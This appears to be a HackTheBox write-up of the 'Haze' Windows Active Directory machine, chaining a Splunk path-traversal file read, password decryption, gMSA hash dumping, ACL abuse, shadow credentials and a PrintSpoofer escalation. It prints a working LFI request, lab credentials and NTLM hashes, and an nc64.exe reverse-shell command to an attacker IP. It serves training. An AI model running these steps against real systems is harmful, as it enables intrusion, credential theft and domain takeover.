Haze Writeup

This HackTheBox machine is a Windows Active Directory machine that contains a web server with Splunk on it. Leveraging a Splunk Local File Read vulnerability which can dump the splunk.secret file and authentication.conf file, which used together can give a clear password for the paul.taylor user. Using this password for a spray also reveals that it is used for the mark.adams user who has GMSA privileges and allows dumping Service Account passwords. Using this service account another account can be given Shadow Credentials through AD, and then that account with Remote privileges can be used to search the files on the machine and find a backup of the Splunk instance with a password for the admin user on Splunk. Creating a reverse shell on splunk shows that it is being run by someone with the SEImpersonatePrivilege which is an easy privesc.

Portscan:

Nmap scan report for 10.10.11.61
Host is up (0.16s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
8000/tcp  open  http-alt
8088/tcp  open  radan-http
8089/tcp  open  unknown
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
51586/tcp open  unknown
51590/tcp open  unknown
51592/tcp open  unknown
51606/tcp open  unknown
51617/tcp open  unknown
51635/tcp open  unknown
51775/tcp open  unknown
62457/tcp open  unknown

Script Scan:

Nmap scan report for 10.10.11.61
Host is up (0.098s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-01 23:03:44Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8000/tcp  open  http          Splunkd httpd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.10.11.61:8000/en-US/account/login?return_to=%2Fen-US%2F
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
8088/tcp  open  ssl/http      Splunkd httpd
|_http-title: 404 Not Found
| http-robots.txt: 1 disallowed entry 
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
|_http-server-header: Splunkd
8089/tcp  open  ssl/http      Splunkd httpd
|_http-title: splunkd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
51586/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
51590/tcp open  msrpc         Microsoft Windows RPC
51592/tcp open  msrpc         Microsoft Windows RPC
51606/tcp open  msrpc         Microsoft Windows RPC
51617/tcp open  msrpc         Microsoft Windows RPC
51635/tcp open  msrpc         Microsoft Windows RPC
51775/tcp open  msrpc         Microsoft Windows RPC
62457/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-04-01T23:04:43
|_  start_date: N/A
|_clock-skew: 8h00m01s

Researching for vulnerabilities in Splunk there is a vulnerability that is recent, in 2024 an unauthenticated LFI vulnerability was found. Testing that vulnerability results in LFI on the machine. Using this there are a number of interesting files to dump on the machine.

Request for LFI:

GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/authentication.conf HTTP/1.1
Host: dc01.haze.htb:8089
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: session_id_8000=22b0294ad99d550c8fd42dc7ca2446e8f7c31d50; splunkweb_uid=7694D38D-6BB7-4FF4-AD4B-2E1C29528D4C
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Dumping the authentication.conf it shows that there are passwords contained in the files, specifically one for Paul Taylor. This password can be decrypted using a splunksecrets python decoder.

bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=

Decrypt the secret using the Splunk Secrets Tool: Note you also need to dump splunk.secret from the splunk instance.

splunksecrets splunk-decrypt -S splunk.secret --ciphertext '$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY='

#Ld@p_Auth_Sp1unk@2k24

This should work against the Paul Taylor user, but to get that user we need the actual username. (I've been able to use the LDAP string in the past, but this time it wasn't working for me. Best to get the actual username anyways.)

Using username-anarchy gives us a list of usernames, and then using kerbrute it can show us what the actual username is for Paul Taylor.

./username-anarchy Paul Taylor > usernames.txt
./kerbrute_linux_amd64 userenum --dc dc01.haze.htb -d haze.htb usernames.txt

# paul.taylor

That is our first credential.

paul.taylor:Ld@p_Auth_Sp1unk@2k24

This user is significantly restricted, but there is a lot of good information to enumerate from this user still. Such as all of the usernames for the users on the Domain Controller.

Password REUSE on the mark.adams user.

The mark.adams user is a member of the gMSA_Managers group, and that group has write permissions over the msDS-GroupMSAMembership which is a security descriptor that gives permissions to read the managed password from the service account (In this case the service account is )

$gMSA_DN = "CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb"
$securityDescriptor = New-Object System.DirectoryServices.ActiveDirectorySecurity
$owner = New-Object System.Security.Principal.NTAccount("HAZE", "mark.adams")
$securityDescriptor.SetOwner($owner)
$group = New-Object System.Security.Principal.NTAccount("HAZE", "gMSA_Managers")
$groupACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($group,[System.DirectoryServices.ActiveDirectoryRights]::ReadProperty, [System.Security.AccessControl.AccessControlType]::Allow)
$securityDescriptor.AddAccessRule($groupACE)
Set-ADObject -Identity $gMSA_DN -Replace @{ "msDS-GroupMSAMembership" = $securityDescriptor }

Then the password can be read with:

#Command
netexec ldap dc01.haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa

#Output
SMB         10.10.11.61     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)                                                                                                              
LDAPS       10.10.11.61     636    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24 
LDAPS       10.10.11.61     636    DC01             [*] Getting GMSA Passwords
LDAPS       10.10.11.61     636    DC01             Account: Haze-IT-Backup$      NTLM: 735c02c6b2dc54c3c8c6891f55279ebc

Change the owner of the support_services group, add the write-member permission to our user, Add Haze-IT-Backup$ as a member of the group, then take another bloodhound scan as a member of that group:

#Write owner of the group
bloodyAD --host dc01.haze.htb -d haze -u 'Haze-IT-Backup$' -p 735c02c6b2dc54c3c8c6891f55279ebc:735c02c6b2dc54c3c8c6891f55279ebc set owner 'SUPPORT_SERVICES' 'Haze-IT-Backup$'

#Give our User the WriteMember right
impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'Haze-IT-Backup$' -hashes 735c02c6b2dc54c3c8c6891f55279ebc:735c02c6b2dc54c3c8c6891f55279ebc -target-dn 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' 'HAZE.HTB'/'Haze-IT-Backup$'

#Write our user as a member
bloodyAD --host dc01.haze.htb -d haze -u 'Haze-IT-Backup$' -p 735c02c6b2dc54c3c8c6891f55279ebc:735c02c6b2dc54c3c8c6891f55279ebc add groupMember 'support_services' 'Haze-it-backup$'

#Run another bloodhound scan (Note there is an aggressive cleanup script this has to be all done quickly.)
python3 bloodhound.py -u 'Haze-IT-Backup$' --hashes 735c02c6b2dc54c3c8c6891f55279ebc:735c02c6b2dc54c3c8c6891f55279ebc -ns 10.10.11.61 -d haze.htb -c All --zip

#The previous scan shows us that we can write a shadowCredential to the user edward.martin, so create a shadowCredential as well.
bloodyAD --host dc01.haze.htb -d haze -u 'Haze-IT-Backup$' -p 735c02c6b2dc54c3c8c6891f55279ebc:735c02c6b2dc54c3c8c6891f55279ebc add shadowCredentials 'edward.martin'

Generate a ticket for the edward.martin user that we added shadowCredentials for:

# Sync time with the domain controller if necessary
sudo ntpdate dc01.haze.htb
#Request ticket
python3 gettgtpkinit.py -cert-pem ../v95zDhXX_cert.pem -key-pem ../v95zDhXX_priv.pem haze/edward.martin v95zDhXX.ccache
# Rename the file to edwardmartin.ccache to not lose it.

mv v95zDhXX.ccache edwardmartin.ccache

Update krb5.conf for this realm

[libdefault]
        default_realm = HAZE

[realms]
        HAZE = {
                kdc = dc01.haze.htb
                admin_server = dc01.haze.htb
        }

[domain_realm]
        haze.htb = HAZE
        .haze.htb = HAZE
        haze = HAZE

Login with evil-winrm

evil-winrm -i dc01.haze.htb -r haze

Inside of the C:\ there is a folder that was inaccessible previously, logging in as edward.martin access is granted. In the Backups folder there is a splunk backup file. Searching through these files inside of the backup (Post exfiltrating) shows another password. This time the password is for the splunk admin.

#Command
grep -Ri '\$1\$'

#Output
var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf:bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=

Using splunksecrets against this just like the last one results in a password for the Splunk administration panel.

#Command
splunksecrets splunk-decrypt -S etc/auth/splunk.secret

#Output, with this version of the command you need to supply the cipher text.
Ciphertext: $1$YDz8WfhoCWmf6aTRkA+QqUI= 
Sp1unkadmin@2k24

Trying this password against the splunk administration console results in a login:

admin:Sp1unkadmin@2k24

There is an easy reverse shell that can be gained from this. Following this tutorial results in a reverse shell as the user running the Splunk instance, in this case Alexander.green

nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.61] 51970
whoami
haze\alexander.green

Alexander.green has a very dangerous permission with an easy privilege escalation vector.

#Command
whoami /all

# Output

...

SeImpersonatePrivilege        Impersonate a client after authentication Enabled

The SeImpersonatePrivilege is a simple privilege escalation with PrintSpoofer64.exe. First upload PrintSpoofer64.exe, and then also upload nc64.exe as well. Then use the PrintSpoofer64.exe to start a new reverse shell with higher privileges.

.\PrintSpoofer64.exe -c "C:\Users\alexander.green\nc64.exe 10.10.16.5 9003 -e cmd"

The listening port on the attack machine will catch the shell, and give a root shell.

nc -lvnp 9003
listening on [any] 9003 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.61] 52024
Microsoft Windows [Version 10.0.20348.3328]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
haze\dc01$
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
# <Root Flag>